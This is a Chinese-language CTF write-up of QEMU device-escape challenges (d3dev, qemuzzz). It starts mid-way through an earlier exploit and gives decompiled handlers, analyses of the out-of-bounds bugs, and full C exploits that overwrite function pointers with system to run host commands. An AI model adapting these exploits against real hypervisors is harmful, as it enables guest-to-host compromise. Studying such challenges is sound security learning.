int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1) {
perror("[-] failed to open mmio.🤔");
exit(EXIT_FAILURE);
}
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED) {
perror("[-] failed to mmap mmio.");
exit(EXIT_FAILURE);
}
if (mlock(mmio_mem, 0x1000) == -1) {
perror("[-] failed to mlock mmio_mem.");
exit(EXIT_FAILURE);
}
}
#define SRC 0x8
#define CNT 0x10
#define CMD 0x18
typedef struct {
size_t CP_src;
size_t CP_cnt;
size_t CP_dst;
} CP_info;
char cmd[] = "xcalc";
int main() {
mmio_init();
adjacent_pages_buf read_buf;
get_adjacent_pages(&read_buf);
printf("[+] read_buf vaddr[0]: %p\n", read_buf.vaddr[0]);
printf("[+] read_buf vaddr[1]: %p\n", read_buf.vaddr[1]);
printf("[+] read_buf paddr: %p\n", read_buf.paddr);
adjacent_pages_buf write_buf;
get_adjacent_pages(&write_buf);
printf("[+] write_buf vaddr[0]: %p\n", write_buf.vaddr[0]);
printf("[+] write_buf vaddr[1]: %p\n", write_buf.vaddr[1]);
printf("[+] write_buf paddr: %p\n", write_buf.paddr);
(*(CP_info *) write_buf.vaddr[0]).CP_dst = read_buf.paddr;
(*(CP_info *) write_buf.vaddr[0]).CP_cnt = 0x1040;
mmio_write64(SRC, write_buf.paddr);
mmio_write64(CNT, 1);
mmio_write64(CMD, 0x4);
sleep(1);
qword_dump(NULL, read_buf.vaddr[1], 0x40);
size_t timer_list_addr = ((size_t *) read_buf.vaddr[1])[1];
size_t elf_base = ((size_t *) read_buf.vaddr[1])[2] - 0x4dce80;
printf("[+] elf base: %p\n", elf_base);
size_t system_plt = elf_base + 0x2c2180;
printf("[*] system@plt: %p\n", system_plt);
size_t opaque_addr = ((size_t *) read_buf.vaddr[1])[3];
printf("[+] opaque addr: %p\n", opaque_addr);
for (int i = 0; i < 0x11; i++) {
(*(CP_info *) (write_buf.vaddr[0] + i * sizeof(CP_info))).CP_src = write_buf.paddr;
(*(CP_info *) (write_buf.vaddr[0] + i * sizeof(CP_info))).CP_dst = read_buf.paddr;
(*(CP_info *) (write_buf.vaddr[0] + i * sizeof(CP_info))).CP_cnt = 0x1020;
}
*(size_t *) (write_buf.vaddr[1] + 0x8) = timer_list_addr;
*(size_t *) (write_buf.vaddr[1] + 0x10) = system_plt;
*(size_t *) (write_buf.vaddr[1] + 0x18) = opaque_addr + 0xa00 + 0x500;
memcpy((void *) (write_buf.vaddr[0] + 0x500), cmd, sizeof(cmd));
mmio_write64(SRC, write_buf.paddr);
mmio_write64(CNT, 0x11);
mmio_write64(CMD, 0x1);
sleep(1);
mmio_write64(CMD, 0x114514);
return 0;
}
D^3CTF2021 d3dev
漏洞分析
d3dev_pmio_write
可以将 key
置 0 ,调用 rand_r
函数指针或者设置 seek
的值。
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t *key; // rbp
if ( addr == 8 )
{
if ( val <= 0x100 )
opaque->seek = val;
}
else if ( addr > 8 )
{
if ( addr == 0x1C )
{
opaque->r_seed = val;
key = opaque->key;
do
*key++ = opaque->rand_r(&opaque->r_seed, 0x1CLL, val, *(_QWORD *)&size);
while ( key != (uint32_t *)&opaque->rand_r );
}
}
else if ( addr )
{
if ( addr == 4 )
{
*(_QWORD *)opaque->key = 0LL;
*(_QWORD *)&opaque->key[2] = 0LL;
}
}
else
{
opaque->memory_mode = val;
}
}
d3dev_mmio_write
函数内容如下:
void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
__int64 v4; // rsi
_QWORD *v5; // r11
uint64_t v6; // rdx
int delta; // esi
uint32_t v8; // r10d
uint32_t v9; // r9d
uint32_t v10; // r8d
uint32_t v11; // edi
unsigned int lw; // ecx
uint32_t hi; // eax
if ( size == 4 )
{
v4 = opaque->seek + (unsigned int)(addr >> 3);
if ( opaque->mmio_write_part )
{
v5 = &opaque->pdev.qdev.parent_obj.class + v4;
v6 = val << 32;
delta = 0;
opaque->mmio_write_part = 0;
v8 = opaque->key[0];
v9 = opaque->key[1];
v10 = opaque->key[2];
v11 = opaque->key[3];
lw = v6 + *((_DWORD *)v5 + 0x2B6);
*(_QWORD *)&hi = (v6 + v5[0x15B]) >> 32;
do
{
delta -= 0x61C88647;
lw += (delta + hi) ^ (v9 + (hi >> 5)) ^ (v8 + 16 * hi);
hi += (delta + lw) ^ (v11 + (lw >> 5)) ^ (v10 + 16 * lw);
}
while ( delta != 0xC6EF3720 );
v5[0x15B] = __PAIR64__(hi, lw);
}
else
{
opaque->mmio_write_part = 1;
opaque->blocks[v4] = (unsigned int)val;
}
}
}
由于设备是通过 seek + addr / 8
来索引 uint64_t
类型的 blocks
数组, blocks
数组长度为 0x101
,因此我们可以通过修改 seek
为 0x100 来实现越界操作。
根据 mmio_write_part
的值函数会进行相应的操作:
- 当
mmio_write_part == 0
时,会将val
的低 32 比特高位补 0 成 64 比特写入blocks[seek + addr / 8]
。 - 当
mmio_write_part == 1
时,会将(blocks[seek + addr / 8] & 0xFFFFFFFF) | ((blocks[seek + addr / 8] & 0xFFFFFFFF00000000) + (val << 32))
按如下方式进行加密,然后写入blocks[seek + addr / 8]
。void tea_encrypt(uint64_t *val, uint32_t key[4]) { uint32_t val_hi = *val >> 32, val_lw = *val; for (uint32_t delta = 0x9e3779b9; delta != 0x6526b0d9; delta -= 0x61C88647) { val_lw += (delta + val_hi) ^ (key[1] + (val_hi >> 5)) ^ (key[0] + (val_hi << 4)); val_hi += (delta + val_lw) ^ (key[3] + (val_lw >> 5)) ^ (key[2] + (val_lw << 4)); } *val = (1ULL * val_hi << 32) | val_lw; }
因此我们有了越界写的方法:
首先我们将要写入的值 val
进行解密运算后得到 val'
,然后我们首先在 mmio_write_part == 0
的情况下写 val'
的低 32 比特,之后在 mmio_write_part == 1
的情况下写 val'
的高 32 比特,经过 mmio_write_part
函数的相关操作后等价为越界写了一个值 val
。
d3dev_mmio_read
函数内容如下:
uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size)
{
uint64_t v3; // rax
unsigned int v4; // esi
unsigned int lw; // ecx
uint64_t hi; // rax
v3 = opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)];
v4 = 0xC6EF3720;
lw = v3;
hi = HIDWORD(v3);
do
{
LODWORD(hi) = hi - ((lw + v4) ^ (opaque->key[3] + (lw >> 5)) ^ (opaque->key[2] + 16 * lw));
lw -= (hi + v4) ^ (opaque->key[1] + ((unsigned int)hi >> 5)) ^ (opaque->key[0] + 16 * hi);
v4 += 0x61C88647;
}
while ( v4 );
if ( opaque->mmio_read_part )
{
opaque->mmio_read_part = 0;
return (unsigned int)hi;
}
else
{
opaque->mmio_read_part = 1;
return lw;
}
}
与 d3dev_mmio_write
一样,这个函数同样存在越界操作。
d3dev_mmio_write
会按照下面的方法解密 blocks[seek + addr / 8]
位置的 8 字节数据,并根据 mmio_read_part
的值是否为 1 决定返回解密结果的高 32 比特或低 32 比特。
void tea_decrypt(uint64_t *val, uint32_t key[4]) {
uint32_t val_hi = *val >> 32, val_lw = *val;
for (uint32_t delta = 0xC6EF3720; delta; delta += 0x61C88647) {
val_hi -= (delta + val_lw) ^ (key[3] + (val_lw >> 5)) ^ (key[2] + (val_lw << 4));
val_lw -= (delta + val_hi) ^ (key[1] + (val_hi >> 5)) ^ (key[0] + (val_hi << 4));
}
*val = (1ULL * val_hi << 32) | val_lw;
}
漏洞利用
首先由于 tea_decrypt
越界读的结果不完整,因此我们无法通过泄露的数据还原出越界读取的位置原本的数据。因此我们可以先通过 mmio_write_part == 1
时利用 d3dev_mmio_write
越界加密数据然后再利用 d3dev_mmio_read
越界读取解密后的加密数据从而越界读出原本的值。
根据 d3devState
的结构体可知 blocks
后面有 rand_r
函数指针,只要我们越界读出这个值就可以泄露 libc 基址。
00000000 d3devState struc ; (sizeof=0x1300, align=0x10, copyof_4545)
00000000 pdev PCIDevice_0 ?
000008E0 mmio MemoryRegion_0 ?
000009D0 pmio MemoryRegion_0 ?
00000AC0 memory_mode dd ?
00000AC4 seek dd ?
00000AC8 init_flag dd ?
00000ACC mmio_read_part dd ?
00000AD0 mmio_write_part dd ?
00000AD4 r_seed dd ?
00000AD8 blocks dq 257 dup(?)
000012E0 key dd 4 dup(?)
000012F0 rand_r dq ? ; offset
000012F8 db ? ; undefined
000012F9 db ? ; undefined
000012FA db ? ; undefined
000012FB db ? ; undefined
000012FC db ? ; undefined
000012FD db ? ; undefined
000012FE db ? ; undefined
000012FF db ? ; undefined
00001300 d3devState ends
之后越界写 rand_r
为 system
函数地址。
d3dev_pmio_write
中调用 rand_r
时传入的参数为 r_seed
地址并且在调用之前还为 r_seed
赋值为 val
,因此我们可以将 r_seed
赋值为要执行的命令的前 4 字节,4 字节之后的命令通过 d3dev_mmio_write
写入。最后 d3dev_pmio_write
中调用 rand_r
实现任意命令执行。
exp
我的 glibc 偏移是按照本机 Ubuntu 20.04 设置的,打远程的时候改一下偏移即可。
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/io.h>
void *mmio_mem;
void mmio_write32(size_t offset, uint32_t value) {
*(uint32_t *) (mmio_mem + offset) = value;
}
uint32_t mmio_read32(size_t offset) {
return *(uint32_t *) (mmio_mem + offset);
}
void mmio_init() {
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1) {
perror("[-] failed to open mmio.🤔");
exit(EXIT_FAILURE);
}
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED) {
perror("[-] failed to mmap mmio.");
exit(EXIT_FAILURE);
}
if (mlock(mmio_mem, 0x1000) == -1) {
perror("[-] failed to mlock mmio_mem.");
exit(EXIT_FAILURE);
}
}
uint32_t pmio_mem;
void pmio_write(uint32_t offset, uint32_t value) {
outl(value, pmio_mem + offset);
}
uint32_t pmio_read(uint32_t offset) {
return inl(pmio_mem + offset);
}
void pmio_init() {
if (iopl(3) == -1) {
perror("[-] iopl failed.");
exit(EXIT_FAILURE);
}
FILE *pmio_fd = fopen("/sys/devices/pci0000:00/0000:00:03.0/resource", "r");
fscanf(pmio_fd, "%*p%*p%*p%p", &pmio_mem);
printf("[*] pmio_mem: %p\n", pmio_mem);
}
void tea_encrypt(uint64_t *val, const uint32_t key[4]) {
uint32_t val_hi = *val >> 32, val_lw = *val;
for (uint32_t delta = 0x9e3779b9; delta != 0x6526b0d9; delta -= 0x61C88647) {
val_lw += (delta + val_hi) ^ (key[1] + (val_hi >> 5)) ^ (key[0] + (val_hi << 4));
val_hi += (delta + val_lw) ^ (key[3] + (val_lw >> 5)) ^ (key[2] + (val_lw << 4));
}
*val = (1ULL * val_hi << 32) | val_lw;
}
void tea_decrypt(uint64_t *val, const uint32_t key[4]) {
uint32_t val_hi = *val >> 32, val_lw = *val;
for (uint32_t delta = 0xC6EF3720; delta; delta += 0x61C88647) {
val_hi -= (delta + val_lw) ^ (key[3] + (val_lw >> 5)) ^ (key[2] + (val_lw << 4));
val_lw -= (delta + val_hi) ^ (key[1] + (val_hi >> 5)) ^ (key[0] + (val_hi << 4));
}
*val = (1ULL * val_hi << 32) | val_lw;
}
char cmd[] = "cat flag; xcalc";
int main() {
mmio_init();
pmio_init();
pmio_write(0x8, 0x100); // seek = 0x100
mmio_write32(0, 0); // mmio_write_part = 1
mmio_write32(0x18, 0); // enctypt rand_r
size_t rand_r_addr = mmio_read32(0x18) | (1ULL * mmio_read32(0x18) << 32);
size_t libc_base = rand_r_addr - 0x46780; // decrypt rand_r
printf("[+] libc_base: %p\n", libc_base);
size_t system_addr = libc_base + 0x50d60;
printf("[*] system addr: %p\n", system_addr);
pmio_write(4, 0x114514); // key = {0, 0, 0, 0}
tea_decrypt(&system_addr, (uint32_t[]) {0, 0, 0, 0});
printf("[*] decrypt system addr: %p\n", system_addr);
mmio_write32(0x18, system_addr);
mmio_write32(0x18, system_addr >> 32);
pmio_write(0x8, 0); // seek = 0
for (int i = 4; i < sizeof(cmd); i += 8) {
uint64_t val = *(uint64_t *) &cmd[i];
tea_decrypt(&val, (uint32_t[]) {0, 0, 0, 0});
mmio_write32(i, val);
mmio_write32(i, val >> 32);
}
pmio_write(0x1C, *(uint32_t *) cmd);
return 0;
}
华为云2020 qemuzzz
附件下载链接
虚拟机密码:root
漏洞分析
题目关键内容在 zzz_mmio_write
函数中。
void __fastcall zzz_mmio_write(zzzState *opaque, unsigned __int64 addr, unsigned __int64 val, unsigned int size)
{
zzzState *my_opaque; // rbp
__int16 len1; // dx
__int64 offset1; // rax
unsigned __int16 len; // cx
void (__fastcall *cpu_physical_memory_rw)(__int64, unsigned __int8 *, _QWORD, __int64); // r10
unsigned __int8 *buf; // rsi
__int64 offset0; // rdx
int len0; // esi
char *i; // rdi
if ( addr == 0x20 )
{
opaque->addr = val << 12;
}
else if ( addr <= 0x20 )
{
if ( addr == 0x10 )
{
if ( val > 0xFFF )
{
if ( opaque->offset > 0xFFFu )
opaque->offset = 0;
}
else
{
opaque->offset = val;
}
}
else if ( addr == 0x18 )
{
opaque->len = val;
}
}
else if ( addr == 0x50 ) // buf^=0x290
{
offset0 = opaque->offset;
len0 = opaque->len & 0x7FFE;
if ( (int)offset0 + len0 >= 0x1000 )
len0 = 4095 - offset0;
for ( i = &opaque->field_0[offset0]; len0 / 2 > (int)offset0; i += 2 )
{
*((_WORD *)i + 0x4F8) ^= 0x209u;
LODWORD(offset0) = offset0 + 2;
}
}
else if ( addr == 0x60 )
{
my_opaque = opaque->opaque_ptr;
if ( (my_opaque->addr & 0xFFF) == 0 )
{
len1 = my_opaque->len;
offset1 = my_opaque->offset;
len = len1 & 0x7FFE;
if ( (int)(offset1 + (len1 & 0x7FFE) - 1) <= 0x1000 )
{
cpu_physical_memory_rw = opaque->cpu_physical_memory_rw;
buf = &my_opaque->buf[offset1];
if ( (len1 & 1) != 0 )
cpu_physical_memory_rw(my_opaque->addr, buf, len, 1LL);
else
cpu_physical_memory_rw(my_opaque->addr, buf, len, 0LL);
if ( (__int16)my_opaque->len < 0 )
pci_set_irq(my_opaque, 1LL);
}
}
}
}
addr
为 0x60 时存在 1 字节越界。
zzzState
结构体中 buf
与 opaque_ptr
相邻,因此可以修改 opaque_ptr
。
00000000 zzzState struc ; (sizeof=0x1A00, mappedto_106)
00000000 field_0 db 2528 dup(?)
000009E0 addr dq ?
000009E8 len dw ?
000009EA offset dw ?
000009EC field_9EC dw ?
000009EE field_9EE dw ?
000009F0 buf db 4096 dup(?)
000019F0 opaque_ptr dq ? ; offset
000019F8 cpu_physical_memory_rw dq ? ; offset
00001A00 zzzState ends
而 cpu_physical_memory_rw
用的 addr
,len
,offset
都是通过 opaque_ptr
定位的,因此修改 opaque_ptr
指向伪造的 opaque
可以伪造 addr
,len
,offset
造成更大范围的越界读写。
通过越界读写 buf
后面的数据可以泄露 qemu 地址和劫持程序执行流。
漏洞利用
-
越界写把
opaque_ptr
改大使得opaque_ptr
指向的opaque
的addr
,len
,offset
为我们在buf
中伪造的。 -
越界读出
opaque_ptr
和cpu_physical_memory_rw
,从而泄露opaque
地址和qemu
地址。 -
由于此时
addr == 0x60
只能进行读操作,因此我们需要使用addr == 0x50
时的异或 0x209 来修改len
使得addr == 0x60
可以进行写操作。为了让异或的后的len
和offset
在addr == 0x60
时可以通过检查并且能够有足够多的越界,前面第一步伪造的addr
和len
需要进行爆破。 -
越界写覆盖
cpu_physical_memory_rw
为system@plt
,opaque_ptr
指向新的opaque
并且新的opaque
中的addr
指向要执行的命令的地址,并且在要执行的的地址处写入命令。这里条件限制较多,特别是参数地址需要关于页对齐。为了尽可能满足条件,需要新的opaque
地址尽可能小,也就是第一步伪造的offset
异或 0x209 之后尽可能小。在第一步爆破的时候也要添加这一条件。
exp
#include <ctype.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
void qword_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("[*] %s:\n", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
#define PAGE_SIZE 0x1000
size_t vaddr_to_paddr(size_t vaddr) {
int pagemap_fd = open("/proc/self/pagemap", O_RDONLY);
lseek(pagemap_fd, vaddr / PAGE_SIZE * 8, SEEK_SET);
size_t data;
read(pagemap_fd, &data, 8);
close(pagemap_fd);
return data * PAGE_SIZE + (vaddr % PAGE_SIZE);
}
void *mmio_mem;
void mmio_write64(size_t offset, uint64_t value) {
*(uint64_t *) (mmio_mem + offset) = value;
}
uint64_t mmio_read64(size_t offset) {
return *(uint64_t *) (mmio_mem + offset);
}
void mmio_write32(size_t offset, uint32_t value) {
*(uint32_t *) (mmio_mem + offset) = value;
}
uint32_t mmio_read32(size_t offset) {
return *(uint32_t *) (mmio_mem + offset);
}
void mmio_init() {
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1) {
perror("[-] failed to open mmio.🤔");
exit(EXIT_FAILURE);
}
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED) {
perror("[-] failed to mmap mmio.");
exit(EXIT_FAILURE);
}
if (mlock(mmio_mem, 0x1000) == -1) {
perror("[-] failed to mlock mmio_mem.");
exit(EXIT_FAILURE);
}
}
#define OFFSET 0x10
#define LEN 0x18
#define ADDR 0x20
#define COVER 0x50
#define MEM_RW 0x60
typedef struct {
uint64_t address;
uint16_t length;
uint16_t offset;
} rw_info;
char cmd[] = "cat flag; xcalc";
int main() {
mmio_init();
void *buf = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
memset(buf, 0, PAGE_SIZE);
mlock(buf, PAGE_SIZE);
size_t buf_paddr = vaddr_to_paddr((size_t) buf);
printf("[*] buf vaddr: %p\n", buf);
printf("[*] buf paddr: %p\n", buf_paddr);
mmio_write64(OFFSET, 0x1000 - 1);
mmio_write64(LEN, 0x2 | 1); // oob read
mmio_write64(ADDR, buf_paddr >> 12);
mmio_write64(MEM_RW, 0x114514);
uint8_t leak_byte = *(uint8_t *) (buf + 1);
printf("[+] leak byte: %#x\n", leak_byte);
size_t max_off = 0xF0 - leak_byte;
printf("[*] max off: %p\n", max_off);
rw_info info = {buf_paddr, -1, -1};
uint16_t base, new_base;
uint16_t oob_off;
for (uint16_t oob = max_off, min_new_off = (uint16_t) -1; oob >= 0x10; oob--) {
for (uint16_t len = oob | 1; len <= 0x1000 - (max_off - oob); len += 2) {
uint16_t off = 0x1000 - (max_off - oob) - len;
uint16_t new_len = len ^ 0x209, new_off = off ^ 0x209;
if (new_len + new_off <= 0x1001 && new_len - (0x1000 - max_off - new_off) >= 0x10 && new_off < min_new_off) {
base = 0x1000 - max_off - off, new_base = 0x1000 - max_off - new_off;
info.length = len, info.offset = off;
oob_off = oob, min_new_off = new_off;
}
}
}
if (info.length == (uint16_t) -1) {
puts("[-] failed to find rw_info.");
exit(EXIT_FAILURE);
}
printf("[+] find info,len: %p, off: %p\n", info.length, info.offset);
uint16_t new_len = info.length ^ 0x209, new_off = info.offset ^ 0x209;
printf("[+] find new_info,len: %p, off: %p\n", new_len, new_off);
printf("[*] oob off: %p\n", oob_off);
printf("[*] base: %p\n", base);
mmio_write64(OFFSET, oob_off - 0x10);
mmio_write64(LEN, sizeof(info) | 0); // write
mmio_write64(ADDR, buf_paddr >> 12);
memcpy(buf, &info, sizeof(info));
mmio_write64(MEM_RW, 0x114514);
mmio_write64(OFFSET, 0x1000 - 1);
mmio_write64(LEN, 0x2 | 0); // oob write
mmio_write64(ADDR, buf_paddr >> 12);
*(uint8_t *) (buf + 1) = 0xF0;
mmio_write64(MEM_RW, 0x114514);
mmio_write64(MEM_RW, 0x114514);
qword_dump("oob read", buf + base, info.length - base);
size_t leak_opaque_ptr = *(size_t *) (buf + base);
printf("[+] leak opaque_ptr: %p\n", leak_opaque_ptr);
size_t leak_qemu_addr = *(size_t *) (buf + base + 8);
printf("[+] leak qemu_addr: %p\n", leak_qemu_addr);
size_t elf_base = leak_qemu_addr - 0x5bc5c0;
printf("[*] elf base: %p\n", elf_base);
size_t system_plt = elf_base + 0x2a7a84;
printf("[*] system@plt: %p\n", system_plt);
mmio_write64(OFFSET, max_off - 0x10 + 8);
mmio_write64(LEN, (max_off - 0x10 + 8 + 4) * 2);
mmio_write64(COVER, 0x1919810);
*(uint64_t *) (buf + new_base) = leak_opaque_ptr + 0x10 + new_off;
*(uint64_t *) (buf + new_base + 8) = system_plt;
size_t arg_offset = ((leak_opaque_ptr + 0x9f0 + new_off + 0xFFF) & (~0xFFF)) - (leak_opaque_ptr + 0x9f0 + new_off);
size_t arg_addr = leak_opaque_ptr + 0x9f0 + new_off + arg_offset;
if (arg_offset + strlen(cmd) > new_len) {
puts("[-] failed to find arg addr.");
exit(EXIT_FAILURE);
}
printf("[*] arg_offset: %p\n", arg_offset);
printf("[*] arg_addr: %p\n", arg_addr);
rw_info new_info = {arg_addr, 0, 0};
memcpy(buf, &new_info, sizeof(new_info));
strcpy(buf + arg_offset, cmd);
mmio_write64(MEM_RW, 0x114514);
mmio_write64(MEM_RW, 0x114514);
return 0;
}
更多推荐
所有评论(0)